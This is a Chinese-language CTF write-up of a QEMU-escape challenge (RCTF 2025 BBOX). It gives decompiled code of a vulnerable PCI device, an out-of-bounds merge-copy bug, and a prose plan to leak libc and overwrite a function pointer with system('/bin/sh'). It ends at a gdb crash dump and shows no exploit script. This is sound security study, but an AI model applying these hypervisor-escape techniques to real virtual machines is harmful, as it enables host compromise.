RCTF 2025 BBOX

写在最前面

强网杯前的热身训练,这次比赛的 pwn 题难度适中,很适合我这种菜鸡来打。差一道 V8 就能 AK pwn,当时 V8 已经能实现 Sandbox 内任意读写,可是死活绕不出 Sandbox,赛后看了 Nu1L 的 exp 后发现原来这么简单,而且这个利用方式在一些议题里讲过并在去年 pwn2own 被人使用过,没 AK 真的非常可惜,只能对自己说菜就多练 :(

这道 BBOX 是 qemu 逃逸,想到博客好像还没单独的为这种类型的题目单独写一篇文章,所以这里就打算水一篇🤣

这道题目是我第二天下午才看的,不到三小时就秒了还捡了个三血(现在的新人连这么简单的题目都不屑于打了嘛😭),要是题目刚上时就打没准一血就有了😇

程序分析

在分析前还是先给一下我恢复符号后的伪代码,直接看就是一坨💩

virtsec_mmio_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
__int64 __fastcall virtsec_mmio_read(void *opaque, unsigned __int64 offset)
{
int v2; // ecx
int v3; // r8d
int v4; // r9d
int v5; // edx
int v6; // ecx
int v7; // r8d
int v8; // r9d
int v9; // edx
int v10; // ecx
int v11; // r8d
int v12; // r9d
int v14; // edx
int v15; // ecx
int v16; // r8d
int v17; // r9d
int v18; // ecx
int v19; // r8d
int v20; // r9d
unsigned int n; // [rsp+24h] [rbp-2Ch]
unsigned int index; // [rsp+28h] [rbp-28h]
__int64 dest; // [rsp+30h] [rbp-20h] BYREF
virtsec_device_t *dev; // [rsp+38h] [rbp-18h]
virtsec_block_t *blk; // [rsp+40h] [rbp-10h]
unsigned __int64 v26; // [rsp+48h] [rbp-8h]

v26 = __readfsqword(0x28u);
dev = VIRTSEC_DEVICE(opaque);
dest = 0;
if ( offset <= 0xFFF || offset > 0x1FFF )
{
switch ( offset )
{
case 0uLL:
dest = 0x524F4953;
break;
case 4uLL:
dest = 256;
break;
case 8uLL:
dest = dev->reg_3024;
break;
case 0xCuLL:
dest = 0;
break;
case 0x10uLL:
dest = dev->cmd_arg;
break;
case 0x14uLL:
dest = dev->current_block_id;
break;
case 0x18uLL:
dest = dev->dev_size;
break;
case 0x1CuLL:
dest = dev->reg_3076;
break;
case 0x20uLL:
dest = dev->dev_result;
break;
case 0x24uLL:
dest = dev->reg_3464;
break;
case 0x28uLL:
dest = (unsigned int)dev->write_counter;
break;
case 0x2CuLL:
dest = (unsigned int)dev->read_counter;
break;
case 0x30uLL:
dest = dev->block_id_1;
break;
case 0x34uLL:
dest = dev->block_id_2;
break;
default:
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec MMIO: Invalid read offset 0x%lx\n", offset, v14, v15, v16, v17);
break;
}
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec MMIO: Read reg[0x%lx] = 0x%lx\n", offset, dest, v18, v19, v20);
return dest;
}
else
{
index = offset - 0x1000;
blk = virtsec_find_block(dev, dev->current_block_id);
if ( blk && blk->valid )
{
if ( blk->enc_flag )
virtsec_decrypt_block(dev, blk);
if ( index >= blk->size )
{
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec MMIO: Data offset %u >= block size %u\n", index, blk->size, v2, v3, v4);
}
else
{
n = 4;
if ( (unsigned int)(offset - 4092) > blk->size )
n = blk->size - index;
memcpy(&dest, &dev->data_buffer[blk->start + index], n);
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log(
(unsigned int)"VirtSec MMIO: Read data buffer[0x%x] = 0x%lx (block_id=%u, size=%u, read_size=%u)\n",
index,
dest,
blk->id,
blk->size,
n);
}
}
else if ( blk )
{
if ( blk->valid != 1 && (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec MMIO: Block %u is not valid\n", dev->current_block_id, v9, v10, v11, v12);
}
else if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
{
qemu_log((unsigned int)"VirtSec MMIO: Block %u not found\n", dev->current_block_id, v5, v6, v7, v8);
}
return dest;
}
}

virtsec_mmio_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
__int64 __fastcall virtsec_mmio_write(void *opaque, unsigned __int64 offset, unsigned __int64 value)
{
int v3; // ecx
int v4; // r8d
int v5; // r9d
int v6; // r8d
int v7; // r9d
int v8; // edx
int v9; // ecx
int v10; // r8d
int v11; // r9d
u64 srca; // [rsp+8h] [rbp-48h] BYREF
unsigned __int64 offset_1; // [rsp+10h] [rbp-40h]
void *opaquea; // [rsp+18h] [rbp-38h]
int n16; // [rsp+2Ch] [rbp-24h]
int v17; // [rsp+30h] [rbp-20h]
unsigned int n; // [rsp+34h] [rbp-1Ch]
unsigned int n_4; // [rsp+38h] [rbp-18h]
unsigned int v20; // [rsp+3Ch] [rbp-14h]
virtsec_device_t *dev; // [rsp+40h] [rbp-10h]
virtsec_block_t *blk; // [rsp+48h] [rbp-8h]

opaquea = opaque;
offset_1 = offset;
srca = value;
dev = VIRTSEC_DEVICE(opaque);
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec MMIO: Write reg[0x%lx] = 0x%lx\n", offset_1, srca, v3, v4, v5);
if ( offset_1 <= 0xFFF || offset_1 > 0x1FFF )
{
switch ( offset_1 )
{
case 0xCuLL:
virtsec_execute_command(dev, srca);
break;
case 0x10uLL:
dev->cmd_arg = srca;
break;
case 0x14uLL:
dev->current_block_id = srca;
break;
case 0x18uLL:
dev->dev_size = srca;
break;
case 0x1CuLL:
dev->reg_3076 = srca;
break;
case 0x30uLL:
dev->block_id_1 = srca;
break;
case 0x34uLL:
dev->block_id_2 = srca;
break;
case 0x38uLL:
puts("hello");
if ( gift_flag )
{
dev->gift_str = "welcome to RCTF2025!This is my gift!";// gift_str assigned here: dev->gift_str = "welcome to RCTF2025!This is my gift!" (offset 0xEA0)
dev->gift_func = (virtsec_print_fn)&printf;// gift_func located at dev+0xE98; store uses alias &dev->data_buffer[248]
gift_flag = 0;
}
dev->gift_func(dev->gift_str); // indirect call via gift_func loaded from &dev->data_buffer[248]
break;
default:
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec MMIO: Invalid write offset 0x%lx\n", offset_1, v8, v9, v10, v11);
break;
}
}
else
{
n16 = offset_1 - 0x1000;
blk = virtsec_find_block(dev, dev->current_block_id);
if ( blk && blk->valid && n16 + 4 <= blk->size )
{
v17 = blk->start + n16;
if ( (unsigned int)(n16 + 4) > 0x10 )
{
n = 16 - n16;
n_4 = 4 - (16 - n16);
if ( n16 != 16 )
memcpy(&dev->data_buffer[v17], &srca, n);
if ( n_4 )
{
v20 = 16 * ((blk->start >> 4) + 1);
memcpy(&dev->data_buffer[v20], (char *)&srca + n, n_4);
}
}
else
{
*(_DWORD *)&dev->data_buffer[v17] = srca;
}
dev->read_counter += 4LL;
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log(
(unsigned int)"VirtSec MMIO: Write data buffer[0x%x] = 0x%lx (block size: %u)\n",
n16,
srca,
blk->size,
v6,
v7);
}
}
return 0;
}

virtsec_realize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall virtsec_realize(_QWORD *opaque, __int64 a2)
{
int v2; // edx
int v3; // ecx
int v4; // r8d
int v5; // r9d
int v6; // edx
int v7; // ecx
int v8; // r8d
int v9; // r9d
int i; // [rsp+14h] [rbp-Ch]
virtsec_device_t *v12; // [rsp+18h] [rbp-8h]

v12 = VIRTSEC_DEVICE(opaque);
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec PCI Device: Initializing...\n", a2, v2, v3, v4, v5);
pci_config_set_vendor_id(opaque[20], 4660);
pci_config_set_device_id(opaque[20], 22136);
pci_config_set_revision(opaque[20], 1);
pci_config_set_class(opaque[20], 1408);
v12->reg_3024 = 0;
v12->cmd_arg = 0;
v12->dev_result = 0;
v12->dev_size = 0;
v12->unk_3072 = 0;
v12->reg_3076 = 0;
for ( i = 0; i <= 15; ++i )
memset(&v12->block_list[i], 0, sizeof(v12->block_list[i]));
v12->reg_3464 = 0;
v12->current_block_id = 0;
v12->block_id_1 = 0;
v12->block_id_2 = 0;
memset(&v12->enc_pad[256], 0, 0x100u);
*(_DWORD *)&v12->enc_pad[512] = 0;
virtsec_generate_key((__int64)v12);
v12->write_counter = 0;
v12->read_counter = 0;
*(_QWORD *)v12[1].pad_0000_0BD0 = 0;
memory_region_init_io(&v12->pad_0000_0BD0[2752], v12, virtsec_mmio_ops, v12, "virtsec-mmio", 0x2000, a2);
pci_register_bar(opaque, 0, 0, &v12->pad_0000_0BD0[2752]);
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec PCI Device: Initialized successfully\n", 0, v6, v7, v8, v9);
return 0;
}

virtsec_execute_command

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
void __fastcall virtsec_execute_command(virtsec_device_t *dev, unsigned int cmd)
{
int v2; // edx
int v3; // ecx
int v4; // r8d
int v5; // r9d
int v6; // edx
int v7; // ecx
int v8; // r8d
int v9; // r9d
int v10; // ecx
int v11; // r8d
int v12; // r9d
int v13; // edx
int v14; // ecx
int v15; // r8d
int v16; // r9d
unsigned int block_id_2; // esi
int v18; // ecx
int v19; // r8d
int v20; // r9d
int v21; // eax
int v22; // ecx
int v23; // r8d
int v24; // r9d
int v25; // eax
int v26; // r8d
int v27; // r9d
int v28; // edx
int v29; // ecx
int v30; // r8d
int v31; // r9d
virtsec_device_t *dev_1; // rax
int v33; // edx
int v34; // ecx
int v35; // r8d
int v36; // r9d
signed int block_index; // [rsp+10h] [rbp-40h]
int i_1; // [rsp+14h] [rbp-3Ch]
unsigned int i; // [rsp+18h] [rbp-38h]
int j; // [rsp+1Ch] [rbp-34h]
int size; // [rsp+24h] [rbp-2Ch]
virtsec_block_t *block; // [rsp+28h] [rbp-28h]
virtsec_block_t *blk; // [rsp+30h] [rbp-20h]
virtsec_block_t *block_1; // [rsp+38h] [rbp-18h]
virtsec_block_t *v45; // [rsp+40h] [rbp-10h]

if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec Device: Executing command %u\n", cmd, v2, v3, v4, v5);
switch ( cmd )
{
case 1u:
dev->reg_3024 = 1;
dev->dev_result = 0;
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec Device: Session %u initialized\n", dev->cmd_arg, v6, v7, v8, v9);
break;
case 2u:
if ( virtsec_validate_block_size(dev->dev_size) )
{
if ( virtsec_allocate_block(dev, dev->current_block_id, dev->dev_size) )
{
dev->reg_3024 = 2;
dev->dev_result = 0;
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log(
(unsigned int)"VirtSec Device: Ready to write block %u (%u bytes)\n",
dev->current_block_id,
dev->dev_size,
v10,
v11,
v12);
}
else
{
dev->dev_result = 1;
}
}
else
{
dev->dev_result = 2;
}
break;
case 3u:
v45 = virtsec_find_block(dev, dev->current_block_id);
if ( v45 && v45->valid )
{
dev->reg_3024 = 3;
dev->reg_3076 = 0;
dev->dev_result = 0;
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec Device: Ready to read block %u\n", dev->current_block_id, v13, v14, v15, v16);
}
else
{
dev->dev_result = 3;
}
break;
case 4u:
block_index = virtsec_find_block_index(dev, dev->block_id_1);
block_id_2 = dev->block_id_2;
i_1 = virtsec_find_block_index(dev, block_id_2);
if ( block_index == -1 || i_1 == -1 )
{
dev->dev_result = 5;
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log(
(unsigned int)"VirtSec Device: Merge failed - block %u or %u not found\n",
dev->block_id_1,
dev->block_id_2,
v18,
v19,
v20);
}
else
{
block = &dev->block_list[block_index];
blk = &dev->block_list[i_1];
if ( dev->block_list[block_index].valid == 1 && dev->block_list[i_1].valid == 1 )
{
v21 = block_index - i_1;
if ( i_1 - block_index >= 0 )
v21 = i_1 - block_index;
if ( v21 != 1 )
{
if ( block_index > 14 )
{
block_id_2 = block_index;
virtsec_swap_blocks(dev, block_index, i_1 - 1);
block_index = i_1 - 1;
i = i_1;
}
else
{
i = block_index + 1;
}
if ( dev->block_list[i].valid && i != i_1 )
{
for ( j = 0; j <= 15; ++j )
{
if ( dev->block_list[j].valid != 1 )
{
block_id_2 = i;
virtsec_swap_blocks(dev, i, j);
break;
}
}
}
if ( i_1 != i )
{
block_id_2 = i_1;
virtsec_swap_blocks(dev, i_1, i);
i_1 = i;
}
block = &dev->block_list[block_index];
blk = &dev->block_list[i_1];
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
{
block_id_2 = block_index;
qemu_log(
(unsigned int)"VirtSec Device: Rearranged blocks - block1 at index %d, block2 at index %d\n",
block_index,
i_1,
v22,
v23,
v24);
}
}
if ( block->enc_flag )
{
block_id_2 = (unsigned int)block;
virtsec_decrypt_block(dev, block);
}
if ( blk->enc_flag )
{
block_id_2 = (unsigned int)blk;
virtsec_decrypt_block(dev, blk);
}
v25 = block_index - i_1;
if ( i_1 - block_index >= 0 )
v25 = i_1 - block_index;
if ( v25 == 1 )
{
if ( block_index > i_1 )
{
block_1 = block;
block = blk;
blk = block_1;
}
size = block->size + blk->size;
memcpy(&dev->data_buffer[block->start + block->size], &dev->data_buffer[blk->start], blk->size);
block->size = size;
blk->valid = 0;
--dev->reg_3464;
dev->reg_3024 = 1;
dev->dev_result = 0;
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log(
(unsigned int)"VirtSec Device: Merged block %u and %u (total size: %u bytes, spans 2 buffer slots)\n",
dev->block_id_1,
dev->block_id_2,
size,
v26,
v27);
}
else
{
dev->dev_result = 8;
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log(
(unsigned int)"VirtSec Device: Merge failed - blocks are not adjacent after rearrangement\n",
block_id_2,
v28,
v29,
v30,
v31);
}
}
else
{
dev->dev_result = 6;
}
}
break;
case 6u:
dev_1 = (virtsec_device_t *)DEVICE_54(dev);
virtsec_reset(dev_1, cmd);
dev->dev_result = 0;
break;
default:
dev->dev_result = 255;
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec Device: Unknown command %u\n", cmd, v33, v34, v35, v36);
break;
}
}

virtsec_unrealize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall virtsec_unrealize(void *opaque, int a2)
{
int v2; // edx
int v3; // ecx
int v4; // r8d
int v5; // r9d
int v6; // edx
int v7; // ecx
int v8; // r8d
int v9; // r9d
virtsec_device_t *v11; // [rsp+18h] [rbp-8h]

v11 = VIRTSEC_DEVICE(opaque);
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec PCI Device: Cleaning up...\n", a2, v2, v3, v4, v5);
virtsec_cleanup_all_blocks((__int64)v11);
memset(&v11->enc_pad[256], 0, 0x100u);
*(_DWORD *)&v11->enc_pad[512] = 0;
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec PCI Device: Cleaned up\n", 0, v6, v7, v8, v9);
return 0;
}

virtsec_find_block

1
2
3
4
5
6
7
8
9
10
11
virtsec_block_t *__fastcall virtsec_find_block(virtsec_device_t *dev, u32 block_id)
{
int i; // [rsp+18h] [rbp-4h]

for ( i = 0; i <= 15; ++i )
{
if ( dev->block_list[i].valid && block_id == dev->block_list[i].id )
return &dev->block_list[i];
}
return 0;
}

virtsec_allocate_block

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
virtsec_block_t *__fastcall virtsec_allocate_block(virtsec_device_t *dev, unsigned int block_id, unsigned int size)
{
int v4; // edx
int v5; // ecx
int v6; // r8d
int v7; // r9d
int v8; // r8d
int v9; // r9d
int i_1; // [rsp+10h] [rbp-10h]
int i; // [rsp+14h] [rbp-Ch]
virtsec_block_t *v13; // [rsp+18h] [rbp-8h]

v13 = 0;
i_1 = -1;
if ( !virtsec_validate_block_size(size) )
return 0;
for ( i = 0; i <= 15; ++i )
{
if ( dev->block_list[i].valid != 1 )
{
v13 = &dev->block_list[i];
i_1 = i;
break;
}
}
if ( v13 )
{
v13->id = block_id;
v13->size = size;
v13->reserved = 0;
v13->start = 16 * i_1;
v13->pad_index = 16 * i_1;
v13->enc_flag = 0;
v13->valid = 1;
v13->freed = 0;
memset(&dev->data_buffer[v13->start], 0, 0x10u);
memset(&dev->enc_pad[v13->pad_index], 0, 0x10u);
++dev->reg_3464;
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log(
(unsigned int)"VirtSec Device: Allocated block %u (%u bytes) at offset 0x%x\n",
block_id,
size,
v13->start,
v8,
v9);
return v13;
}
else
{
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec Device: No free blocks available\n", block_id, v4, v5, v6, v7);
return 0;
}
}

virtsec_free_block

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void __fastcall virtsec_free_block(virtsec_device_t *dev, virtsec_block_t *blk)
{
int v2; // ecx
int v3; // r8d
int v4; // r9d
int v5; // edx
int v6; // ecx
int v7; // r8d
int v8; // r9d

if ( blk && blk->valid )
{
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec Device: Freeing block %u at offset 0x%x\n", blk->id, blk->start, v2, v3, v4);
blk->freed = 1;
blk->valid = 0;
--dev->reg_3464;
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec Device: Block %u freed (UAF possible)\n", blk->id, v5, v6, v7, v8);
}
}

virtsec_cleanup_all_blocks

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall virtsec_cleanup_all_blocks(virtsec_device_t *dev)
{
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i <= 15; ++i )
{
if ( dev->block_list[i].valid )
virtsec_free_block(dev, &dev->block_list[i]);
}
return 0;
}

virtsec_find_block_index

1
2
3
4
5
6
7
8
9
10
11
int __fastcall virtsec_find_block_index(virtsec_device_t *dev, unsigned int block_id)
{
int i; // [rsp+18h] [rbp-4h]

for ( i = 0; i <= 15; ++i )
{
if ( dev->block_list[i].valid && block_id == dev->block_list[i].id )
return i;
}
return -1;
}

virtsec_swap_blocks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
void __fastcall virtsec_swap_blocks(virtsec_device_t *dev, unsigned int block_index, unsigned int i)
{
unsigned __int8 *v3; // rcx
__int64 v4; // rdx
unsigned __int8 *v5; // rcx
__int64 v6; // rdx
unsigned __int8 *v7; // rcx
unsigned __int8 *v8; // rcx
__int64 v9; // rdx
virtsec_block_t *v10; // rcx
int v11; // ecx
int v12; // r8d
int v13; // r9d
virtsec_block_t *v15; // [rsp+10h] [rbp-60h]
virtsec_block_t *v16; // [rsp+18h] [rbp-58h]
__int64 v17; // [rsp+20h] [rbp-50h]
__int64 v18; // [rsp+28h] [rbp-48h]
__int64 v19; // [rsp+30h] [rbp-40h]
__int64 v20; // [rsp+40h] [rbp-30h]
__int64 v21; // [rsp+48h] [rbp-28h]
__int64 v22; // [rsp+50h] [rbp-20h]
__int64 v23; // [rsp+58h] [rbp-18h]

if ( block_index < 0x10 && i < 0x10 && block_index != i )
{
v15 = &dev->block_list[block_index];
v16 = &dev->block_list[i];
v20 = *(_QWORD *)&dev->data_buffer[dev->block_list[block_index].start];
v21 = *(_QWORD *)&dev->data_buffer[dev->block_list[block_index].start + 8];
v22 = *(_QWORD *)&dev->enc_pad[dev->block_list[block_index].pad_index];
v23 = *(_QWORD *)&dev->enc_pad[dev->block_list[block_index].pad_index + 8];
v3 = &dev->data_buffer[dev->block_list[block_index].start];
v4 = *(_QWORD *)&dev->data_buffer[dev->block_list[i].start + 8];
*(_QWORD *)v3 = *(_QWORD *)&dev->data_buffer[dev->block_list[i].start];
*((_QWORD *)v3 + 1) = v4;
v5 = &dev->enc_pad[dev->block_list[block_index].pad_index];
v6 = *(_QWORD *)&dev->enc_pad[dev->block_list[i].pad_index + 8];
*(_QWORD *)v5 = *(_QWORD *)&dev->enc_pad[dev->block_list[i].pad_index];
*((_QWORD *)v5 + 1) = v6;
v7 = &dev->data_buffer[dev->block_list[i].start];
*(_QWORD *)v7 = v20;
*((_QWORD *)v7 + 1) = v21;
v8 = &dev->enc_pad[dev->block_list[i].pad_index];
*(_QWORD *)v8 = v22;
*((_QWORD *)v8 + 1) = v23;
v17 = *(_QWORD *)&v15->id;
v18 = *(_QWORD *)&dev->block_list[block_index].reserved;
v19 = *(_QWORD *)&dev->block_list[block_index].pad_index;
v9 = *(_QWORD *)&dev->block_list[i].reserved;
*(_QWORD *)&v15->id = *(_QWORD *)&v16->id;
*(_QWORD *)&v15->reserved = v9;
*(_QWORD *)&v15->pad_index = *(_QWORD *)&dev->block_list[i].pad_index;
v10 = &dev->block_list[i];
*(_QWORD *)&v16->id = v17;
*(_QWORD *)&v10->reserved = v18;
*(_QWORD *)&v10->pad_index = v19;
v15->start = 16 * block_index;
v15->pad_index = 16 * block_index;
v16->start = 16 * i;
v16->pad_index = 16 * i;
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec Device: Swapped blocks at index %d and %d\n", block_index, i, v11, v12, v13);
}
}

virtsec_validate_block_size

1
2
3
4
_BOOL8 __fastcall virtsec_validate_block_size(u32 reg_3068)
{
return reg_3068 && reg_3068 <= 0x10;
}

virtsec_decrypt_block

1
2
3
4
5
6
7
8
9
10
11
12
void __fastcall virtsec_decrypt_block(virtsec_device_t *dev, virtsec_block_t *blk)
{
if ( blk )
{
if ( blk->enc_flag == 1 )
{
memcpy(&dev->data_buffer[blk->start], &dev->enc_pad[blk->pad_index], blk->reserved);
virtsec_xor_encrypt((__int64)&dev->data_buffer[blk->start], blk->reserved, (__int64)&dev->enc_pad[516], 0x20u);
blk->enc_flag = 0;
}
}
}

virtsec_reset

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void __fastcall virtsec_reset(virtsec_device_t *dev, int unused)
{
int v2; // edx
int v3; // ecx
int v4; // r8d
int v5; // r9d
int v6; // edx
int v7; // ecx
int v8; // r8d
int v9; // r9d
virtsec_device_t *deva; // [rsp+18h] [rbp-8h]

deva = VIRTSEC_DEVICE(dev);
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec Device: Resetting...\n", unused, v2, v3, v4, v5);
deva->reg_3024 = 0;
deva->cmd_arg = 0;
deva->dev_result = 0;
deva->dev_size = 0;
deva->unk_3072 = 0;
deva->reg_3076 = 0;
virtsec_cleanup_all_blocks(deva);
memset(&deva->enc_pad[256], 0, 0x100u);
*(_DWORD *)&deva->enc_pad[512] = 0;
if ( (unsigned __int8)qemu_loglevel_mask_64(2048) )
qemu_log((unsigned int)"VirtSec Device: Reset completed\n", 0, v6, v7, v8, v9);
}

题目概览

  • 自定义 PCI 设备 virtsec 被编译进 QEMU,暴露一段 MMIO 寄存器与一段数据窗口供访客访问
  • 关键回调:
    • virtsec_mmio_read
    • virtsec_mmio_write
    • 命令分发 virtsec_execute_command

设备结构

  • 内存布局(核心字段):
    • dev->data_buffer :长度 256 字节,分成 16 个槽,每槽 16 字节,用于块数据
    • dev->block_list[16] :块元数据数组,每个块记录 id/start/size/valid/enc_flag/freed 等
    • dev->gift_func 与 dev->gift_str :紧邻 data_buffer 尾部的函数指针和字符串指针,供 gift 调用使用
  • 槽定位:分配块时从槽 0..15 找第一个空槽, start = 16 * slot_index ,初始 size <= 16

寄存器映射

  • 读寄存器(virtsec_mmio_read):

    • 0x0 返回魔数 0x524F4953
    • 0x4 返回常量 256
    • 0x8 返回设备状态 dev->reg_3024
    • 0x10/0x14/0x18/0x1C/0x20/… 返回对应设备字段(命令参数、当前块 ID、大小等)
    • 0x28/0x2C 返回 write_counter/read_counter
    • 0x30/0x34 返回 reg_3472/reg_3476 (在写路径中用作合并的两个块 ID)
  • 写寄存器(virtsec_mmio_write):

    • 0xC 执行命令: virtsec_execute_command(dev, value)
    • 0x10 设置 dev->cmd_arg
    • 0x14 设置 dev->current_block_id
    • 0x18 设置 dev->dev_size
    • 0x30/0x34 设置合并的两个块 ID
    • 0x38 触发 gift 调用

数据窗口

  • 地址区间: 0x1000..0x1FFF ,索引 index = offset - 0x1000
  • 读:若 blk->valid && index < blk->size ,最多读 4 字节;若 index + 4 > blk->size ,仅读剩余
  • 写:若 blk->valid && index + 4 <= blk->size ,写 4 字节;若跨 16 字节边界( index + 4 > 16 )则拆分写到当前槽与下一个槽起始

漏洞分析与利用

在 virtsec_execute_command 命令 4 合并 block 时复制无总边界检查

1
2
3
4
5
size = block->size + blk->size;
memcpy(&dev->data_buffer[block->start + block->size], &dev->data_buffer[blk->start], blk->size); // 无总缓冲边界检查
block->size = size;
blk->valid = 0;
--dev->reg_3464;

当 block 在槽 15( start=240,size=16 )且合并第二块 16 字节时,目标地址为 data_buffer[256] ,超出 256 字节缓冲区,覆盖紧邻的设备结构字段(包括 gift_func 与 gift_str )。这提供了一个稳定的 16 字节越界写原语到函数指针区。

总体策略:先泄露函数指针地址以确定 libc 基址,再利用“合并复制”把 16 字节一次性写到 data_buffer[256..271] ,覆盖 gift_func/gift_str ,最后触发寄存器 0x38 完成调用。

  • 地址泄露:

    • 分配块 ID 1..16,每个大小 16;依次合并 2..16 到块 1,使块 1 size=256 ,此时 data_buffer[256] 紧邻函数指针区
    • 再分配块 17(16 字节),合并到块 1,使块 1 size=272
    • 读取 index=256 与 index=264 可获得 printf 地址与 gift_str 地址
  • 指针改写(必须用合并复制):

    • 执行设备重置(命令 6),重建块 1 到 size=256 (合并 2..16)
    • 分配一个临时块,写入 16 字节载荷 [system][binsh] (各 8 字节,低位在前)
    • 合并到块 1,此时 16 字节复制到 data_buffer[256..271] ,稳定覆盖函数指针区

至于为什么指针改写为什么不能像越界 read 读取 printf 的地址直接改写,是因为 virtsec_mmio_write 的跨槽写实现有缺陷:当 index >= 17 且 index + 4 <= blk->size 时,会进入拆分逻辑,计算 n = 16 - index ,这个值变成负数并被当成无符号长度传给 memcpy ,导致一次极大的拷贝从栈地址读取,进入 glibc 的 AVX 路径(下面 gdb 的 vmovdqu [rsi+0x2000] 等),从而卡死或崩溃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
R8   0xfffffffffffffff0
R9 0
R10 0x3ffce
R11 0x7e11d8000090 —▸ 0x7e11d8cc1f50 ◂— 0x10100
R12 0x7f2cd2e72108
R13 0x1d
R14 0x7e12870037d0 ◂— endbr64
R15 0x7ffcd11fa390 —▸ 0x5665789abcdd ◂— 0x646e656b63616200
RBP 0x7e1286350de0 —▸ 0x7e1286350e40 —▸ 0x7e1286350ec0 —▸ 0x7e1286350f20 —▸ 0x7e1286350f70 ◂— ...
RSP 0x7e1286350d88 —▸ 0x5665781e134d (virtsec_mmio_write+333) ◂— cmp dword ptr [rbp - 0x18], 0
RIP 0x7e128710fdb0 ◂— vmovdqu ymm8, ymmword ptr [rsi + 0x2000]

─────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────
